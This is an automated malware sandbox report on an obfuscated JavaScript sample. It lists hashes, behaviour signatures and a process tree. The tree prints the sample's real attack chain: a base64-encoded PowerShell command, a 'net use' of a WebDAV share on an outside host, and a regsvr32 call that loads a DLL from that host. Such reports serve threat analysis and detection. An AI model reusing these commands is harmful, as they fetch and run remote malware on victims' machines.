Analysis

  • max time kernel
    142s
  • max time network
    133s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/08/2024, 14:20

General

  • Target

    02a6af42acec65eec55adb93da64781b983ea25eb9f9b3d645331956ae990bcb.js

  • Size

    10KB

  • MD5

    5d4843ffd9c9a4c82310776475c631ce

  • SHA1

    5873ef4ab98beb0a6286d950970a1071b6056c0f

  • SHA256

    02a6af42acec65eec55adb93da64781b983ea25eb9f9b3d645331956ae990bcb

  • SHA512

    373800cfa5bc166dd11f9e4bf4fc3aba7118b064870ec014c94edf818d01b87c33e2afd62703ffafdc4c231c45c55a3b83f48b7bebb1bc26bc8c648e326a3bd9

  • SSDEEP

    192:XQ15fdZfrktTmKiLV/Lpd+LRPNcPRNmHk1c5L+TZPiNPWUv6i2NP+NPmoDloG1iv:X0xdZfrktTmKiLV/Lpd+LRPNcPRNmHkT

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\02a6af42acec65eec55adb93da64781b983ea25eb9f9b3d645331956ae990bcb.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1432
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADUAOAAyADIAMgA3ADEANQA3ADYAOQA3AC4AZABsAGwA
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3576
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\cloudslimit.com@8888\davwwwroot\
        3⤵
          PID:2344
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\cloudslimit.com@8888\davwwwroot\2582227157697.dll
          3⤵
            PID:4196

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m00x2uvm.z3p.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/3576-0-0x00007FF945253000-0x00007FF945255000-memory.dmp

        Filesize

        8KB

      • memory/3576-2-0x000001F6F02E0000-0x000001F6F0302000-memory.dmp

        Filesize

        136KB

      • memory/3576-11-0x00007FF945250000-0x00007FF945D11000-memory.dmp

        Filesize

        10.8MB

      • memory/3576-12-0x00007FF945250000-0x00007FF945D11000-memory.dmp

        Filesize

        10.8MB

      • memory/3576-15-0x00007FF945250000-0x00007FF945D11000-memory.dmp

        Filesize

        10.8MB